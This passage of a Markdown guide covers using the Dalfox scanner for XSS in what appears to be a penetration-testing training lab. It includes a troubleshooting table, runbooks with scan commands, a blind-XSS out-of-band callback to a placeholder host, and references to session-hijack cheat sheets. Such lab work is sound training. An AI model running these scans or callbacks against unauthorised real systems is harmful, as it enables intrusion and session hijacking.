+| Reflection reported, browser does nothing | Value is encoded or lands in inert context | Inspect raw response and parsed DOM; reproduce the reported PoC |
+| No blind callback | Not viewed, syntax mismatch, CSP, egress block, or polling ended | Correlate ticket storage, use a persistent unique callback, then wait for the authorised viewer |
+| `--sxss` finds nothing in AEN | Retrieval URL is admin-only | Use blind OOB detection instead |
+| Step 8 scan is negative | PDF worker is outside Dalfox's normal verification model | Run the staged PDF-renderer procedure manually |
+| Scan overwhelms the lab | Defaults too concurrent for this workflow | Stop, reduce workers/targets/rate, and remove duplicate stored records |
+
+---
+
+## 12. Fast Runbooks
+
+### Reflected GET XSS
+
+1. Start with a marker and inspect the response/DOM.
+2. Run `--dry-run`.
+3. Restrict to the known query parameter.
+4. Scan at a low rate.
+5. Reproduce only the smallest verified PoC.
+
+```bash
+dalfox scan 'http://lab.local/search?q=aen-marker' \
+ -p q:query \
+ --workers 2 \
+ -r 2 \
+ --only-poc v \
+ --poc-type http-request
+```
+
+### Authenticated Form
+
+1. Submit a normal form through Burp.
+2. Save the working request as raw HTTP.
+3. Confirm cookies, CSRF token, content type, and body.
+4. Dry-run, then restrict the actual input name.
+5. Proxy the scan through Burp if you need request-by-request visibility.
+
+```bash
+dalfox scan --input-type raw-http request.txt \
+ -p ACTUAL_PARAMETER:body \
+ --proxy http://127.0.0.1:8080 \
+ --workers 1 \
+ -r 1
+```
+
+### AEN Step 7 Blind Ticket
+
+1. Capture one normal ticket POST.
+2. Keep the session/CSRF state fresh.
+3. Choose a unique, authorised OOB callback.
+4. Run one worker at one request per second.
+5. Keep the collector observable long enough for delayed admin review.
+6. Record the callback as execution proof.
+7. Follow the Step 7 sheet for separately authorised impact validation and cleanup.
+
+```bash
+dalfox scan --input-type raw-http support-ticket.txt \
+ -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
+ --workers 1 \
+ -r 1 \
+ -f json \
+ -o support-blind.json \
+ --include-request
+```
+
+---
+
+## Lessons Learned
+
+1. Raw HTTP avoids inventing parameter names and preserves authenticated request state.
+2. Blind stored XSS is asynchronous; callback lifetime matters as much as payload syntax.
+3. `--sxss` needs an accessible retrieval page, which AEN's pre-compromise admin workflow does not provide.
+4. PATT expands payload knowledge, but Dalfox's context analysis should decide which syntax is worth testing.
+5. A negative Dalfox result does not cover server-side PDF rendering, SQLi, IDOR, LFI, XXE, upload flaws, or command injection.
+6. Reflection, execution, data access, and session impact are separate claims requiring separate evidence.
+
+---
+
+## References
+
+1. [Dalfox — Official GitHub Repository](https://github.com/hahwul/dalfox)
+2. [Dalfox — Installation](https://dalfox.hahwul.com/getting-started/installation/)
+3. [Dalfox — CLI Reference](https://dalfox.hahwul.com/reference/cli/)
+4. [Dalfox — Scanning Modes](https://dalfox.hahwul.com/guide/scanning-modes/)
+5. [Dalfox — Stored XSS](https://dalfox.hahwul.com/guide/stored-xss/)
+6. [Dalfox — Parameters](https://dalfox.hahwul.com/guide/parameters/)
+7. [Dalfox — Payloads](https://dalfox.hahwul.com/guide/payloads/)
+8. [Dalfox — Output](https://dalfox.hahwul.com/guide/output/)
+9. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
+10. 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
+11. Step 7 - Blind XSS Session Hijack Cheat Sheet
+12. Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet